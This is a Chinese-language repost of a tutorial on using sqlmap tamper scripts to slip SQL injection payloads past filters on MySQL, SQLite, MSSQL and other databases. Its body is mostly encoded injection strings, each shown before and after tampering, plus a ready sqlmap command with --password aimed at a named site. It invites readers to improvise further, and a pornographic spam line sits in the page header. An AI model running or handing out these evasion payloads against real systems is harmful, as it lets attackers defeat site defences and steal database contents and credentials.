压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

SQLMAP如何繞過SQL注入限制 ?

  前言:

  SQL注入攻擊是黑客對數據庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據。

  然而隨著SQL注入攻擊的高潮過后,越來越多的安全人員想出了防止SQL攻擊的方式,例如利用instr()函數,過濾注入關鍵字等等的方法。所以如何繞過這些防止攻擊的手段,是目前的安全研究人員們的常規研究方向。

  關于SQLMAP:

  Sqlmap是一款開源的命令行自動SQL注入工具。它由Bernardo Damele A.G.和Daniele Bellucci以GNU GPLv2許可證方式發布,可從http://sqlmap.sourceforge.net上下載。

  Sqlmap用Python開發而成,這使得它能夠獨立于底層的操作系統,而只需2.4或之后版本的Python解釋器即可。為了使事情更容易,許多GNU/Linux在發布時都創新性地附帶安裝了Python解釋器包。Windows、UNIX和Mac OSX也均有提供或者可免費獲取。

  今天我來說說如何繞過注入限制。

  MYSQL BYPASS

  腳本:space2hash.py含有免殺功能,對于MYSQL數據庫 4.0、5.0注入

  例子:

  * 注入語句:1 AND 9227=9227

  * 替換成為:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

  腳本: space2morehash.py含有免殺功能,對于MYSQL數據庫 >= 5.1.13 和 MySQL 5.1.41 注入

  例子:

  * 注入語句:1 AND 9227=9227

  * 替換成為:1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

  如何使用這些BYPASS繞過腳本? 你可以用SQLMAP的 –tamper 參數。

  一個注入點:http://sql.dis9.com/sql.php?id=1 我們首先判斷他數據庫的版本

  SQLMAP如何繞過SQL注入限制 ?

  然后選擇對于版本的bypass腳本進行使用,我們來嘗試一下::

  SQLMAP如何繞過SQL注入限制 ?

  看圖片的注釋,提示版本錯誤,我們來換個BYPASS腳本,使用space2dash.py試試。

  這個是SQLite數據庫和MYSQL數據庫的,例子:

  * 注入語句:1 AND 9227=9227

  * 輸出:1–PTTmJopxdWJ%0AAND–cWfcVRPV%0A9227=9227

  嘗試一下,看下圖,PAYLOAD已經被編碼:

  sqlmap -u "http://sql.dis9.com/sql.php?id=1" -v 3 –password –batch –tamper "space2dash.py"

  SQLMAP如何繞過SQL注入限制 ?

  換個編碼吧,換encodes編碼:charencode.py

  * Microsoft SQL Server 2005

  * MySQL 4, 5.0 and 5.5

  * Oracle 10g

  * PostgreSQL 8.3, 8.4, 9.0

  * 注入語句:SELECT FIELD FROM%20TABLE

  * 替換為:%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

  SQLMAP如何繞過SQL注入限制 ?

  base64編碼腳本:base64encode.py

  * 注入語句:1' AND SLEEP(5)#

  * 替換為:MScgQU5EIFNMRUVQKDUpIw==

  替換空格和關鍵字 :halfversionedmorekeywords.py

  * 注入語句:

  1 value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa

  * 替換成:

  1 value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND 'QDWa'='QDWa

  其他類型數據庫看官網介紹吧:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/

  MSSQL等等的都有,自己發揮吧。

  SQLMAP如何繞過SQL注入限制 ?

  原文地址,聽潮社區http://www.f4ck.org/article-2183-1.html

 

上一篇:安卓防火墻 PS DroidWall

下一篇:永遠不要在Linux執行的10個最危險的命令